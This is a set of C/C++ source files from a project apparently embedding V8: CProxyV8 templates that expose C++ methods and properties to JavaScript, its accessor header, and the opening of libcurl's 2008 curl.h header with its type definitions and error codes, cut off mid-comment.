 *      Point& Method(); //ambiguous type
 * \endcode
 *
 *         With this limitation there is an overhead that create duplicate objets,
 *         at least 2. If you need to pass complex objects use FuncV8.
 *
 * see: CProxyV8::ProxyClass
 * see: CProxyV8::FuncV8
 */

template<class T, class TClass>
class FuncRetObj : public TAccessorFunction<T, TClass>
{
public:
	typedef TClass (T::*Function)();

	FuncRetObj(Function function) 
     :  TAccessorFunction(function)
  {}

	virtual v8::Handle<v8::Value> call(const v8::Arguments& args);
};

template<class T, class TClass> 
v8::Handle<v8::Value> FuncRetObj<T,TClass>::call(const v8::Arguments& args)
{
  T* t = ProxyClass<T>::instance()->UnwrapObject(args.Holder());  
  return Type::FCast((t->*function_)());
}

/**
 * FuncV8 is the more generic implementation of the AccessorFunction it works
 * almost as the generic V8 callback but with the great advantage that you
 * receive the call inside the object instance, allowing you to access this Cpp
 * implementation more easily.
 *
 * FuncV8 works as a proxy between functions of type:
 *
 * \code
 *    class Example
 *    {
 *    public:
 *      v8::Handle<v8::Value> Method(const v8::Arguments& args);
 *    ...
 * \endcode
 *
 * The following example shows how to use a FuncV8 proxy:
 *
 * \code
 *    class Point
 *    {
 *    public:
 *        ...
 *        v8::Handle<v8::Value> setX(const v8::Arguments& args);
 *        v8::Handle<v8::Value> setY(const v8::Arguments& args);
 *        ...
 *    };
 *    ...
 *    ProxyClass<Point>* bridgePoint = NEW_BRIDGE_CLASS(Point);
 *    bridgePoint->ExposeFunc("setX", &Point::SetX);
 *    bridgePoint->ExposeFunc("setY", &Point::SetY);
 *
 *    ------------ Java Script console:
 *
 *    >x = new Point();
 *    [object]
 *    >x.setX(10);
 *    10
 * \endcode
 *
 */
typedef v8::Handle<v8::Value> V8Value;
template<class T>
class FuncV8 : public TAccessorFunction<T, V8Value>
{
public:
	typedef V8Value (T::*Function)(const v8::Arguments& args);

	FuncV8(Function function) 
    : function_(function), TAccessorFunction(0) {}

	virtual v8::Handle<v8::Value> call(const v8::Arguments& args);

private:
  Function function_;
};

template<class T> 
v8::Handle<v8::Value> FuncV8<T>::call(const v8::Arguments& args)
{
  T* t = ProxyClass<T>::instance()->UnwrapObject(args.Holder());
  return Type::Cast((t->*function_)(args));
}

//---------------------------------------------------------------------------

}
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// Copyright 2008 the CProxyV8 project authors. All rights reserved.
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
//     * Redistributions of source code must retain the above copyright
//       notice, this list of conditions and the following disclaimer.
//     * Redistributions in binary form must reproduce the above
//       copyright notice, this list of conditions and the following
//       disclaimer in the documentation and/or other materials provided
//       with the distribution.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.


/**
 * #if _FILE_H Directive can not be applied to templates because the 
 * compiler needs all the implementation visible to expand the templates.
 */

//---------------------------------------------------------------------

#include "cproxyv8.h"

namespace CProxyV8
{

/**
 * ObjectProperty is the implementation of AccessorProperty that works
 * as a proxy between properties of type:
 *
 * \code
 *    class Example
 *    {
 *    public:
 *      TClass property;
 *    ...
 * \endcode
 * 
 * Where TClass represents the class of objects that already have a 
 * CProxyV8::ProxyClass, this will expose the property object to JS enviroment
 *
 *
 * issues: TClass can not be a pointer(*), you will receive a template ambiguous 
 *         type cast error if you use it.
 *
 * \code
 *    {
 *    public:
 *      Point  property; //ok
 *      Point* property; //ambiguous type
 *
 * \endcode
 *
 * Be aware that this expose the object to JS and it can be manipulated 
 * to change the state (properties values inside the returned object).
 *
 * see: CProxyV8::ProxyClass
 */
template<class T, class TProperty>
class ObjectProperty : public AccessorProperty
{
public:
	typedef TProperty T::*PropertyDir;

	ObjectProperty( PropertyDir propertyDir) 
               : propertyDir_(propertyDir) {}

	virtual void AccessorSetProperty( v8::Local<v8::String> property, 
                                    v8::Local<v8::Value> value, 
                                    const v8::AccessorInfo& info);

	virtual v8::Handle<v8::Value> AccessorGetProperty( v8::Local<v8::String> property, 
                                                     const v8::AccessorInfo& info);

  ProxyClass<T>* getTemplateClass() { return templateClass_; };

private:
	PropertyDir propertyDir_;
};

//Setter implementation for object properties
template<class T, class TProperty> 
void ObjectProperty<T,TProperty>::AccessorSetProperty( v8::Local<v8::String> property, 
                                                       v8::Local<v8::Value> value, 
                                                       const v8::AccessorInfo& info)
{
	T* t = ProxyClass<T>::instance()->UnwrapObject(info.Holder());  
  t->*propertyDir_ = Type::Cast((TProperty*) NULL, value);
}

//Getter implementation for object properties
template<class T, class TProperty> 
v8::Handle<v8::Value> ObjectProperty<T,TProperty>::AccessorGetProperty(v8::Local<v8::String> property, 
                                                                       const v8::AccessorInfo& info)
{
  T* t = ProxyClass<T>::instance()->UnwrapObject(info.Holder());
  return Type::Cast((t->*propertyDir_));
}

}






WebSearch/WebSearch/V8Ext/cproxyv8/cproxyv8.h

// Copyright 2008 the CProxyV8 project authors. All rights reserved.
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
//     * Redistributions of source code must retain the above copyright
//       notice, this list of conditions and the following disclaimer.
//     * Redistributions in binary form must reproduce the above
//       copyright notice, this list of conditions and the following
//       disclaimer in the documentation and/or other materials provided
//       with the distribution.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

#ifndef CPROXYV8_H_
#define CPROXYV8_H_

#include "../../v8/v8.h"

template <class T>
class InstaceHandle;

template <class T>
class THandlePrimitive;

template<class T>
class ProxyClass;

class Accessor
{
};
/**
 * AccessorProperty allow the program to make the abstraction betweem the real
 * cppObj->property and the generic callback from JS
 *
 * The idea here is to take advantage of the CTemplates and the pure virtual
 * methods, to avoid the need to specify the CTemplate type in the access to the
 * cppObj->property
 *
 * This kind of integration requires args.Data() to be an implementation
 * of AccessorProperty and args.Holder() the instance of the specific object.
 *
 * This are the current supported properties:
 *
 * \code
 *    class Example
 *    {
 *    public:
 *      TPrimitive cppObj->Method();   //see FuncRetPrimitive
 *      TClass cppObj->Method();       //see FuncRetObj
 *      v8::Handle<v8::Value> Method(const v8::Arguments& args);  //FuncV8
 *    ...
 * \endcode
 *
 */
class AccessorProperty : public Accessor
{
public:

  /** Changet the value of the property in the Cpp generated program */
	virtual void AccessorSetProperty(v8::Local<v8::String> property, v8::Local<v8::Value> value, const v8::AccessorInfo& info) = 0;

  /** returns the value of the property to JS enviroment */
	virtual v8::Handle<v8::Value> AccessorGetProperty(v8::Local<v8::String> property, const v8::AccessorInfo& info) = 0;
};

/**
 * JS callback
 *
 * This function obtains the generic AccessorProperty from args,
 * and set the value of cppObj->property with the value
 */
void Accessor_SetProperty(v8::Local<v8::String> property, v8::Local<v8::Value> value, const v8::AccessorInfo& info);

/**
 * JS callback
 *
 * This function obtains the generic AccessorProperty from args,
 * and return the value of cppObj->property
 */
v8::Handle<v8::Value> Accessor_GetProperty(v8::Local<v8::String> property, const v8::AccessorInfo& info);

/**
 * AccessorFunction allow the program to make the abstraction betweem the real
 * cppObj->Method() and the generic callback from JS
 *
 * The idea here is to take advantage of the CTemplates and the pure virtual
 * methods, to avoid the need to specify the CTemplate type in the call to the
 * cppObj->Method()
 *
 * This kind of integration requires args.Data() to be an implementation
 * of AccessorFunction and args.Holder() the instance of the specific object.
 *
 * This are the current supported methods:
 *
 * \code
 *    class Example
 *    {
 *    public:
 *      TPrimitive cppObj->Method();   //see FuncRetPrimitive
 *      TClass cppObj->Method();       //see FuncRetObj
 *      v8::Handle<v8::Value> Method(const v8::Arguments& args);  //FuncV8
 *    ...
 * \endcode
 *
 */
class AccessorFunction : public Accessor
{
public:

  /** Entry point from JS. */
	virtual v8::Handle<v8::Value> call(const v8::Arguments& args) = 0;
};

/**
 * JS callback
 *
 * This function obtains the generic AccessorFunction from args,
 * and call the proxy to call cppObj->method()
 */
v8::Handle<v8::Value> Accessor_Function(const v8::Arguments& args);

namespace internalUtil
{
  /**
   * Utility class to keep track of all accessors in order to be delete when 
   * the ProxyClass is disposed.
   */
  class AccessorList
  {
  public:
    AccessorList() : next_(NULL), accessor_(NULL) {}
    AccessorList(Accessor* accessor) : next_(NULL), accessor_(accessor) {}

    inline virtual ~AccessorList();
    
    inline void push(Accessor * accessor);

  private:
    Accessor* accessor_;
    AccessorList* next_;
  };


  AccessorList::~AccessorList()
  { 
    if (accessor_)
      delete accessor_; 

    if (next_)
      delete next_;
  }

  void AccessorList::push(Accessor * accessor)
  {
    AccessorList* accessorList = new AccessorList(accessor);
    accessorList = next_;
    next_ = accessorList;
  }
}
#endif
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#ifndef __CURL_CURL_H
#define __CURL_CURL_H
/***************************************************************************
 *                                  _   _ ____  _
 *  Project                     ___| | | |  _ \| |
 *                             / __| | | | |_) | |
 *                            | (__| |_| |  _ <| |___
 *                             \___|\___/|_| \_\_____|
 *
 * Copyright (C) 1998 - 2008, Daniel Stenberg, <daniel@haxx.se>, et al.
 *
 * This software is licensed as described in the file COPYING, which
 * you should have received as part of this distribution. The terms
 * are also available at http://curl.haxx.se/docs/copyright.html.
 *
 * You may opt to use, copy, modify, merge, publish, distribute and/or sell
 * copies of the Software, and permit persons to whom the Software is
 * furnished to do so, under the terms of the COPYING file.
 *
 * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
 * KIND, either express or implied.
 *
 * $Id: curl.h,v 1.341 2008-01-10 10:30:20 bagder Exp $
 ***************************************************************************/

/* If you have problems, all libcurl docs and details are found here:
   http://curl.haxx.se/libcurl/
*/

#include "curlver.h" /* the libcurl version defines */

/*
 * Define WIN32 when build target is Win32 API
 */

#if (defined(_WIN32) || defined(__WIN32__)) && !defined(WIN32)
#define WIN32
#endif

#include <stdio.h>
#include <limits.h>

/* The include stuff here below is mainly for time_t! */
#ifdef vms
# include <types.h>
# include <time.h>
#else
# include <sys/types.h>
# include <time.h>
#endif /* defined (vms) */

#if defined(WIN32) && !defined(_WIN32_WCE) && !defined(__GNUC__) && \
  !defined(__CYGWIN__) || defined(__MINGW32__)
#if !(defined(_WINSOCKAPI_) || defined(_WINSOCK_H))
/* The check above prevents the winsock2 inclusion if winsock.h already was
   included, since they can't co-exist without problems */
#include <winsock2.h>
#include <ws2tcpip.h>
#endif
#else

/* HP-UX systems version 9, 10 and 11 lack sys/select.h and so does oldish
   libc5-based Linux systems. Only include it on system that are known to
   require it! */
#if defined(_AIX) || defined(__NOVELL_LIBC__) || defined(__NetBSD__) || defined(__minix)
#include <sys/select.h>
#endif

#ifndef _WIN32_WCE
#include <sys/socket.h>
#endif
#ifndef __WATCOMC__
#include <sys/time.h>
#endif
#include <sys/types.h>
#endif

#ifdef __BEOS__
#include <support/SupportDefs.h>
#endif

#ifdef  __cplusplus
extern "C" {
#endif

typedef void CURL;

/*
 * Decorate exportable functions for Win32 DLL linking.
 * This avoids using a .def file for building libcurl.dll.
 */
#if (defined(WIN32) || defined(_WIN32)) && !defined(CURL_STATICLIB)
#if defined(BUILDING_LIBCURL)
#define CURL_EXTERN  __declspec(dllexport)
#else
#define CURL_EXTERN  __declspec(dllimport)
#endif
#else

#ifdef CURL_HIDDEN_SYMBOLS
/*
 * This definition is used to make external definitions visibile in the
 * shared library when symbols are hidden by default.  It makes no
 * difference when compiling applications whether this is set or not,
 * only when compiling the library.
 */
#define CURL_EXTERN CURL_EXTERN_SYMBOL
#else
#define CURL_EXTERN
#endif
#endif

/*
 * We want the typedef curl_off_t setup for large file support on all
 * platforms. We also provide a CURL_FORMAT_OFF_T define to use in *printf
 * format strings when outputting a variable of type curl_off_t.
 *
 * Note: "pocc -Ze" is MSVC compatibily mode and this sets _MSC_VER!
 */

#if (defined(_MSC_VER) && !defined(__POCC__)) || (defined(__LCC__) && defined(WIN32))
/* MSVC */
#ifdef _WIN32_WCE
  typedef long curl_off_t;
#define CURL_FORMAT_OFF_T "%ld"
#else
  typedef signed __int64 curl_off_t;
#define CURL_FORMAT_OFF_T "%I64d"
#endif
#else /* (_MSC_VER && !__POCC__) || (__LCC__ && WIN32) */
#if (defined(__GNUC__) && defined(WIN32)) || defined(__WATCOMC__)
/* gcc on windows or Watcom */
  typedef long long curl_off_t;
#define CURL_FORMAT_OFF_T "%I64d"
#else /* GCC or Watcom on Windows  */
#if defined(__ILEC400__)
/* OS400 C compiler. */
  typedef long long curl_off_t;
#define CURL_FORMAT_OFF_T "%lld"
#else /* OS400 C compiler. */

/* "normal" POSIX approach, do note that this does not necessarily mean that
   the type is >32 bits, see the SIZEOF_CURL_OFF_T define for that! */
  typedef off_t curl_off_t;

/* Check a range of defines to detect large file support. On Linux it seems
   none of these are set by default, so if you don't explicitly switches on
   large file support, this define will be made for "small file" support. */
#ifndef _FILE_OFFSET_BITS
#define _FILE_OFFSET_BITS 0 /* to prevent warnings in the check below */
#define UNDEF_FILE_OFFSET_BITS
#endif
#ifndef FILESIZEBITS
#define FILESIZEBITS 0 /* to prevent warnings in the check below */
#define UNDEF_FILESIZEBITS
#endif

#if defined(_LARGE_FILES) || (_FILE_OFFSET_BITS > 32) || (FILESIZEBITS > 32) \
   || defined(_LARGEFILE_SOURCE) || defined(_LARGEFILE64_SOURCE)
  /* For now, we assume at least one of these to be set for large files to
     work! */
#define CURL_FORMAT_OFF_T "%lld"
#else /* LARGE_FILE support */
#define CURL_FORMAT_OFF_T "%ld"
#endif
#endif /* OS400 C compiler. */
#endif /* GCC or Watcom on Windows */
#endif /* (_MSC_VER && !__POCC__) || (__LCC__ && WIN32) */

#ifdef UNDEF_FILE_OFFSET_BITS
/* this was defined above for our checks, undefine it again */
#undef _FILE_OFFSET_BITS
#endif

#ifdef UNDEF_FILESIZEBITS
/* this was defined above for our checks, undefine it again */
#undef FILESIZEBITS
#endif

#ifndef curl_socket_typedef
/* socket typedef */
#ifdef WIN32
typedef SOCKET curl_socket_t;
#define CURL_SOCKET_BAD INVALID_SOCKET
#else
typedef int curl_socket_t;
#define CURL_SOCKET_BAD -1
#endif
#define curl_socket_typedef
#endif /* curl_socket_typedef */

struct curl_httppost {
  struct curl_httppost *next;       /* next entry in the list */
  char *name;                       /* pointer to allocated name */
  long namelength;                  /* length of name length */
  char *contents;                   /* pointer to allocated data contents */
  long contentslength;              /* length of contents field */
  char *buffer;                     /* pointer to allocated buffer contents */
  long bufferlength;                /* length of buffer field */
  char *contenttype;                /* Content-Type */
  struct curl_slist* contentheader; /* list of extra headers for this form */
  struct curl_httppost *more;       /* if one field name has more than one
                                       file, this link should link to following
                                       files */
  long flags;                       /* as defined below */
#define HTTPPOST_FILENAME (1<<0)    /* specified content is a file name */
#define HTTPPOST_READFILE (1<<1)    /* specified content is a file name */
#define HTTPPOST_PTRNAME (1<<2)     /* name is only stored pointer
                                       do not free in formfree */
#define HTTPPOST_PTRCONTENTS (1<<3) /* contents is only stored pointer
                                       do not free in formfree */
#define HTTPPOST_BUFFER (1<<4)      /* upload file from buffer */
#define HTTPPOST_PTRBUFFER (1<<5)   /* upload file from pointer contents */

  char *showfilename;               /* The file name to show. If not set, the
                                       actual file name will be used (if this
                                       is a file part) */
};

typedef int (*curl_progress_callback)(void *clientp,
                                      double dltotal,
                                      double dlnow,
                                      double ultotal,
                                      double ulnow);

#ifndef CURL_MAX_WRITE_SIZE
  /* Tests have proven that 20K is a very bad buffer size for uploads on
     Windows, while 16K for some odd reason performed a lot better.
     We do the ifndef check to allow this value to easier be changed at build
     time for those who feel adventurous. */
#define CURL_MAX_WRITE_SIZE 16384
#endif
/* This is a magic return code for the write callback that, when returned,
   will signal libcurl to pause receving on the current transfer. */
#define CURL_WRITEFUNC_PAUSE 0x10000001
typedef size_t (*curl_write_callback)(char *buffer,
                                      size_t size,
                                      size_t nitems,
                                      void *outstream);

/* This is a return code for the read callback that, when returned, will
   signal libcurl to immediately abort the current transfer. */
#define CURL_READFUNC_ABORT 0x10000000
/* This is a return code for the read callback that, when returned, will
   signal libcurl to pause sending data on the current transfer. */
#define CURL_READFUNC_PAUSE 0x10000001
typedef int (*curl_seek_callback)(void *instream,
                                  curl_off_t offset,
				  int origin); /* 'whence' */

typedef size_t (*curl_read_callback)(char *buffer,
                                      size_t size,
                                      size_t nitems,
                                      void *instream);

typedef enum  {
  CURLSOCKTYPE_IPCXN, /* socket created for a specific IP connection */
  CURLSOCKTYPE_LAST   /* never use */
} curlsocktype;

typedef int (*curl_sockopt_callback)(void *clientp,
                                     curl_socket_t curlfd,
                                     curlsocktype purpose);

struct curl_sockaddr {
  int family;
  int socktype;
  int protocol;
  unsigned int addrlen; /* addrlen was a socklen_t type before 7.18.0 but it
                           turned really ugly and painful on the systems that
                           lack this type */
  struct sockaddr addr;
};

typedef curl_socket_t
(*curl_opensocket_callback)(void *clientp,
                            curlsocktype purpose,
                            struct curl_sockaddr *address);

#ifndef CURL_NO_OLDIES
  /* not used since 7.10.8, will be removed in a future release */
typedef int (*curl_passwd_callback)(void *clientp,
                                    const char *prompt,
                                    char *buffer,
                                    int buflen);
#endif

typedef enum {
  CURLIOE_OK,            /* I/O operation successful */
  CURLIOE_UNKNOWNCMD,    /* command was unknown to callback */
  CURLIOE_FAILRESTART,   /* failed to restart the read */
  CURLIOE_LAST           /* never use */
} curlioerr;

typedef enum  {
  CURLIOCMD_NOP,         /* no operation */
  CURLIOCMD_RESTARTREAD, /* restart the read stream from start */
  CURLIOCMD_LAST         /* never use */
} curliocmd;

typedef curlioerr (*curl_ioctl_callback)(CURL *handle,
                                         int cmd,
                                         void *clientp);

/*
 * The following typedef's are signatures of malloc, free, realloc, strdup and
 * calloc respectively.  Function pointers of these types can be passed to the
 * curl_global_init_mem() function to set user defined memory management
 * callback routines.
 */
typedef void *(*curl_malloc_callback)(size_t size);
typedef void (*curl_free_callback)(void *ptr);
typedef void *(*curl_realloc_callback)(void *ptr, size_t size);
typedef char *(*curl_strdup_callback)(const char *str);
typedef void *(*curl_calloc_callback)(size_t nmemb, size_t size);

/* the kind of data that is passed to information_callback*/
typedef enum {
  CURLINFO_TEXT = 0,
  CURLINFO_HEADER_IN,    /* 1 */
  CURLINFO_HEADER_OUT,   /* 2 */
  CURLINFO_DATA_IN,      /* 3 */
  CURLINFO_DATA_OUT,     /* 4 */
  CURLINFO_SSL_DATA_IN,  /* 5 */
  CURLINFO_SSL_DATA_OUT, /* 6 */
  CURLINFO_END
} curl_infotype;

typedef int (*curl_debug_callback)
       (CURL *handle,      /* the handle/transfer this concerns */
        curl_infotype type, /* what kind of data */
        char *data,        /* points to the data */
        size_t size,       /* size of the data pointed to */
        void *userptr);    /* whatever the user please */

/* All possible error codes from all sorts of curl functions. Future versions
   may return other values, stay prepared.

   Always add new return codes last. Never *EVER* remove any. The return
   codes must remain the same!
 */

typedef enum {
  CURLE_OK = 0,
  CURLE_UNSUPPORTED_PROTOCOL,    /* 1 */
  CURLE_FAILED_INIT,             /* 2 */
  CURLE_URL_MALFORMAT,           /* 3 */
  CURLE_OBSOLETE4,               /* 4 - NOT USED */
  CURLE_COULDNT_RESOLVE_PROXY,   /* 5 */
  CURLE_COULDNT_RESOLVE_HOST,    /* 6 */
  CURLE_COULDNT_CONNECT,         /* 7 */
  CURLE_FTP_WEIRD_SERVER_REPLY,  /* 8 */
  CURLE_REMOTE_ACCESS_DENIED,    /* 9 a service was denied by the server
                                    due to lack of access - when login fails
                                    this is not returned. */
  CURLE_OBSOLETE10,              /* 10 - NOT USED */
  CURLE_FTP_WEIRD_PASS_REPLY,    /* 11 */
  CURLE_OBSOLETE12,              /* 12 - NOT USED */
  CURLE_FTP_WEIRD_PASV_REPLY,    /* 13 */
  CURLE_FTP_WEIRD_227_FORMAT,    /* 14 */
  CURLE_FTP_CANT_GET_HOST,       /* 15 */
  CURLE_OBSOLETE16,              /* 16 - NOT USED */
  CURLE_FTP_COULDNT_SET_TYPE,    /* 17 */
  CURLE_PARTIAL_FILE,            /* 18 */
  CURLE_FTP_COULDNT_RETR_FILE,   /* 19 */
  CURLE_OBSOLETE20,              /* 20 - NOT USED */
  CURLE_QUOTE_ERROR,             /* 21 - quote command failure */
  CURLE_HTTP_RETURNED_ERROR,     /* 22 */
  CURLE_WRITE_ERROR,             /* 23 */
  CURLE_OBSOLETE24,              /* 24 - NOT USED */
  CURLE_UPLOAD_FAILED,           /* 25 - failed upload "command" */
  CURLE_READ_ERROR,              /* 26 - could open/read from file */
  CURLE_OUT_OF_MEMORY,           /* 27 */
  /* Note: CURLE_OUT_OF_MEMORY may sometimes indicate a conversion error
           instead of a memory allocation error if CURL_DOES_CONVERSIONS
           is defined
  */
  CURLE_OPERATION_TIMEDOUT,      /* 28 - the timeout time was reached */
  CURLE_OBSOLETE29,              /* 29 - NOT USED */
  CURLE_FTP_PORT_FAILED,         /* 30 - FTP PORT operation failed */
  CURLE_FTP_COULDNT_USE_REST,    /* 31 - the REST command failed */
  CURLE_OBSOLETE32,              /* 32 - NOT USED */
  CURLE_RANGE_ERROR,             /* 33 - RANGE "command" didn't work */
  CURLE_HTTP_POST_ERROR,         /* 34 */
  CURLE_SSL_CONNECT_ERROR,       /* 35 - wrong when connecting with SSL */
  CURLE_BAD_DOWNLOAD_RESUME,     /* 36 - couldn't resume download */
  CURLE_FILE_COULDNT_READ_FILE,  /* 37 */
  CURLE_LDAP_CANNOT_BIND,        /* 38 */
  CURLE_LDAP_SEARCH_FAILED,      /* 39 */
  CURLE_OBSOLETE40,              /* 40 - NOT USED */
  CURLE_FUNCTION_NOT_FOUND,      /* 41 */
  CURLE_ABORTED_BY_CALLBACK,     /* 42 */
  CURLE_BAD_FUNCTION_ARGUMENT,   /* 43 */
  CURLE_OBSOLETE44,              /* 44 - NOT USED */
  CURLE_INTERFACE_FAILED,        /* 45 - CURLOPT_INTERFACE failed */
  CURLE_OBSOLETE46,              /* 46 - NOT USED */
  CURLE_TOO_MANY_REDIRECTS ,     /* 47 - catch endless re-direct loops */
  CURLE_UNKNOWN_TELNET_OPTION,   /* 48 - User specified an unknown option */
  CURLE_TELNET_OPTION_SYNTAX ,   /* 49 - Malformed telnet option */
  CURLE_OBSOLETE50,              /* 50 - NOT USED */
  CURLE_PEER_FAILED_VERIFICATION, /* 51 - peer's certificate or fingerprint
                                     wasn't verified fine */
  CURLE_GOT_NOTHING,             /* 52 - when this is a specific error */
  CURLE_SSL_ENGINE_NOTFOUND,     /* 53 - SSL crypto engine not found */
  CURLE_SSL_ENGINE_SETFAILED,    /* 54 - can not set SSL crypto engine as
                                    default */
  CURLE_SEND_ERROR,              /* 55 - failed sending network data */
  CURLE_RECV_ERROR,              /* 56 - failure in receiving network data */
  CURLE_OBSOLETE57,              /* 57 - NOT IN USE */
  CURLE_SSL_CERTPROBLEM,         /* 58 - problem with the local certificate */
  CURLE_SSL_CIPHER,              /* 59 - couldn't use specified cipher */
  CURLE_SSL_CACERT,              /* 60 - problem with the CA cert (path?) */
  CURLE_BAD_CONTENT_ENCODING,    /* 61 - Unrecognized transfer encoding */
  CURLE_LDAP_INVALID_URL,        /* 62 - Invalid LDAP URL */
  CURLE_FILESIZE_EXCEEDED,       /* 63 - Maximum file size exceeded */
  CURLE_USE_SSL_FAILED,          /* 64 - Requested FTP SSL level failed */
  CURLE_SEND_FAIL_REWIND,        /* 65 - Sending the data requires a rewind
                                    that failed */
  CURLE_SSL_ENGINE_INITFAILED,   /* 66 - failed to initialise ENGINE */
  CURLE_LOGIN_DENIED,            /* 67 - user, password or similar was not
                                    accepted and we failed to login */
  CURLE_TFTP_NOTFOUND,           /* 68 - file not found on server */
  CURLE_TFTP_PERM,               /* 69 - permission problem on server */
  CURLE_REMOTE_DISK_FULL,        /* 70 - out of disk space on server */
  CURLE_TFTP_ILLEGAL,            /* 71 - Illegal TFTP operation */
  CURLE_TFTP_UNKNOWNID,          /* 72 - Unknown transfer ID */
  CURLE_REMOTE_FILE_EXISTS,      /* 73 - File already exists */
  CURLE_TFTP_NOSUCHUSER,         /* 74 - No such user */
  CURLE_CONV_FAILED,             /* 75 - conversion failed */
  CURLE_CONV_REQD,               /* 76 - caller must register conversion
                                    callbacks using curl_easy_setopt options
                                    CURLOPT_CONV_FROM_NETWORK_FUNCTION,
                                    CURLOPT_CONV_TO_NETWORK_FUNCTION, and
                                    CURLOPT_CONV_FROM_UTF8_FUNCTION */
  CURLE_SSL_CACERT_BADFILE,      /* 77 - could not load CACERT file, missing
                                    or wrong format */
  CURLE_REMOTE_FILE_NOT_FOUND,   /* 78 - remote file not found */
  CURLE_SSH,                     /* 79 - error from the SSH layer, somewhat
                                    generic so the error message will be of
                                    interest when this has happened */

  CURLE_SSL_SHUTDOWN_FAILED,     /* 80 - Failed to shut down the SSL
                                    connection */
  CURL_LAST /* never use! */
} CURLcode;

#ifndef CURL_NO_OLDIES /* define this to test if your app builds with all
                          the obsolete stuff removed! */

/* Backwards compatibility with older names */

/* The following were added in 7.17.1 */
/* These are scheduled to disappear by 2009 */
#define CURLE_SSL_PEER_CERTIFICATE CURLE_PEER_FAILED_VERIFICATION

/* The following were added in 7.17.0 */
/* These are scheduled to disappear by 2009 */
#define CURLE_OBSOLETE CURLE_OBSOLETE50 /* noone should be using this! */
#define CURLE_BAD_PASSWORD_ENTERED CURLE_OBSOLETE46
#define CURLE_BAD_CALLING_ORDER CURLE_OBSOLETE44
#define CURLE_FTP_USER_PASSWORD_INCORRECT CURLE_OBSOLETE10
#define CURLE_FTP_CANT_RECONNECT CURLE_OBSOLETE16
#define CURLE_FTP_COULDNT_GET_SIZE CURLE_OBSOLETE32
#define CURLE_FTP_COULDNT_SET_ASCII CURLE_OBSOLETE29
#define CURLE_FTP_WEIRD_USER_REPLY CURLE_OBSOLETE12
#define CURLE_FTP_WRITE_ERROR CURLE_OBSOLETE20
#define CURLE_LIBRARY_NOT_FOUND CURLE_OBSOLETE40
#define CURLE_MALFORMAT_USER CURLE_OBSOLETE24
#define CURLE_SHARE_IN_USE CURLE_OBSOLETE57
#define CURLE_URL_MALFORMAT_USER CURLE_OBSOLETE4

#define CURLE_FTP_ACCESS_DENIED CURLE_REMOTE_ACCESS_DENIED
#define CURLE_FTP_COULDNT_SET_BINARY CURLE_FTP_COULDNT_SET_TYPE
#define CURLE_FTP_QUOTE_ERROR CURLE_QUOTE_ERROR
#define CURLE_TFTP_DISKFULL CURLE_REMOTE_DISK_FULL
#define CURLE_TFTP_EXISTS CURLE_REMOTE_FILE_EXISTS
#define CURLE_HTTP_RANGE_ERROR CURLE_RANGE_ERROR
#define CURLE_FTP_SSL_FAILED CURLE_USE_SSL_FAILED

/* The following were added earlier */

#define CURLE_OPERATION_TIMEOUTED CURLE_OPERATION_TIMEDOUT

#define CURLE_HTTP_NOT_FOUND CURLE_HTTP_RETURNED_ERROR
#define CURLE_HTTP_PORT_FAILED CURLE_INTERFACE_FAILED
#define CURLE_FTP_COULDNT_STOR_FILE CURLE_UPLOAD_FAILED

#define CURLE_FTP_PARTIAL_FILE CURLE_PARTIAL_FILE
#define CURLE_FTP_BAD_DOWNLOAD_RESUME CURLE_BAD_DOWNLOAD_RESUME

/* This was the error code 50 in 7.7.3 and a few earlier versions, this
   is no longer used by libcurl but is instead #defined here only to not
   make programs break */
#define CURLE_ALREADY_COMPLETE 99999

#endif /*!CURL_NO_OLDIES*/

/* This prototype applies to all conversion callbacks */
typedef CURLcode (*curl_conv_callback)(char *buffer, size_t length);

typedef CURLcode (*curl_ssl_ctx_callback)(CURL *curl,    /* easy handle */
                                          void *ssl_ctx, /* actually an
                                                            OpenSSL SSL_CTX */
                                          void *userptr);

typedef enum {
  CURLPROXY_HTTP = 0,   /* added in 7.10 */
  CURLPROXY_SOCKS4 = 4, /* support added in 7.15.2, enum existed already
                           in 7.10 */
  CURLPROXY_SOCKS5 = 5, /* added in 7.10 */
  CURLPROXY_SOCKS4A = 6, /* added in 7.18.0 */
  CURLPROXY_SOCKS5_HOSTNAME = 7 /* Use the SOCKS5 protocol but pass along the
                                   host name rather than the IP address. added
